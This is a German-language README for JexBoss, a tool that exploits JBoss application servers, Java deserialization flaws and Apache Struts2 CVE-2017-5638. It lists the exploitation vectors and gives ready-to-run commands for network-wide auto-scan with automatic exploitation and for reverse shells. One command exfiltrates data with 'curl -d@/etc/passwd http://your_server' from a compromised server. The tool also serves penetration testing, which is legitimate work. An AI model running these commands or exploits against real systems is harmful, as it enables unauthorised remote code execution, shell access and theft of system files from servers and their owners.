JexBoss - JBoss (und andere Java-Deserialisierungsschwachstellen) Überprüfungs- und Exploitationstool

JexBoss ist ein Werkzeug zum Testen und Ausnutzen von Schwachstellen im JBoss Application Server und anderen Java-Plattformen, Frameworks, Anwendungen usw.

Voraussetzungen

• Python >= 2.7.x
• urllib3
• ipaddress

Installation auf Linux/Mac

Um die neueste Version von JexBoss zu installieren, verwenden Sie bitte die folgenden Befehle:

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

ODER:

Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

Falls Sie CentOS mit Python 2.6 verwenden, installieren Sie bitte Python 2.7. Installationsbeispiel von Python 2.7 auf CentOS mit Collections Software SCL:

yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Installation unter Windows

Falls Sie Windows verwenden, können Sie Git Bash nutzen, um JexBoss auszuführen. Befolgen Sie die nachstehenden Schritte:

• Laden Sie Python herunter und installieren Sie es.
• Laden Sie Git for Windows herunter und installieren Sie es.
• Nach der Installation starten Sie Git for Windows und geben Sie die folgenden Befehle ein:

    PATH=$PATH:C:\Python27\
    PATH=$PATH:C:\Python27\Scripts
    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080
    

Funktionen

Das Werkzeug und die Exploits wurden entwickelt und getestet für:

• JBoss Application Server Versionen: 3, 4, 5 und 6.
• Java-Deserialisierungsschwachstellen in mehreren Java-Frameworks, -Plattformen und -Anwendungen (z. B. Java Server Faces - JSF, Seam Framework, RMI über HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735) usw.)

Die Ausnutzungsvektoren sind:

• /admin-console
  • getestet und funktionsfähig in JBoss Versionen 5 und 6
• /jmx-console
  • getestet und funktionsfähig in JBoss Versionen 4, 5 und 6
• /web-console/Invoker
  • getestet und funktionsfähig in JBoss Versionen 4, 5 und 6
• /invoker/JMXInvokerServlet
  • getestet und funktionsfähig in JBoss Versionen 4, 5 und 6
• Anwendungs-Deserialisierung
  • getestet und funktionsfähig gegen mehrere Java-Anwendungen, -Plattformen usw. über HTTP-POST-Parameter
• Servlet-Deserialisierung
  • getestet und funktionsfähig gegen mehrere Java-Anwendungen, -Plattformen usw. über Servlets, die serialisierte Objekte verarbeiten (z. B. wenn Sie einen "Invoker" in einem Link sehen)
• Apache Struts2 CVE-2017-5638
  • getestet in Apache Struts 2 Anwendungen
• Weitere

Videos

• Exploiting Java Deserialization Vulnerabilities (RCE) on JSF/Seam Applications via javax.faces.ViewState with JexBoss

• Exploiting JBoss Application Server with JexBoss

• Exploiting Apache Struts2 (RCE) with Jexboss (CVE-2017-5638)

Screenshots

• Einfache Anwendungsbeispiele:

$ python jexboss.py

• Beispiel für den Standalone-Modus gegen JBoss:

$ python jexboss.py -u http://192.168.0.26:8080

• Verwendungsmodi:

$ python jexboss.py -h

• Netzwerk-Scan-Modus:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

• Netzwerk-Scan mit Auto-Exploit-Modus:

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

• Ergebnisse und Empfehlungen:

Reverse Shell (Meterpreter-Integration)

Nachdem Sie einen JBoss-Server ausgenutzt haben, können Sie die eigene JexBoss-Befehlsshell verwenden oder eine Reverse-Verbindung mit dem folgenden Befehl herstellen:

   jexremote=YOUR_IP:YOUR_PORT

   Example:
     Shell>jexremote=192.168.0.10:4444

• Beispiel:

Bei Ausnutzung von Java-Deserialisierungsschwachstellen (Anwendungs-Deserialisierung, Servlet-Deserialisierung) sind die Standardoptionen: eine Reverse-Shell-Verbindung herstellen oder einen Befehl zur Ausführung senden.

Anwendungsbeispiele

• Für Java-Deserialisierungsschwachstellen in einem benutzerdefinierten HTTP-Parameter und zum Senden eines benutzerdefinierten Befehls, der auf dem ausgenutzten Server ausgeführt werden soll:

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'

• Für Java-Deserialisierungsschwachstellen in einem benutzerdefinierten HTTP-Parameter und zum Erstellen einer Reverse-Shell (dies wird nach IP-Adresse und Port Ihres entfernten Hosts fragen):

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name

• Für Java-Deserialisierungsschwachstellen in einem Servlet (wie Invoker):

$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize

• Für Apache Struts 2 (CVE-2017-5638)

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2

• Für Apache Struts 2 (CVE-2017-5638) mit Cookies für authentifizierte Ressourcen

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"

• Auto-Scan-Modus:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log

• Datei-Scan-Modus:

$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log

• Weitere Optionen: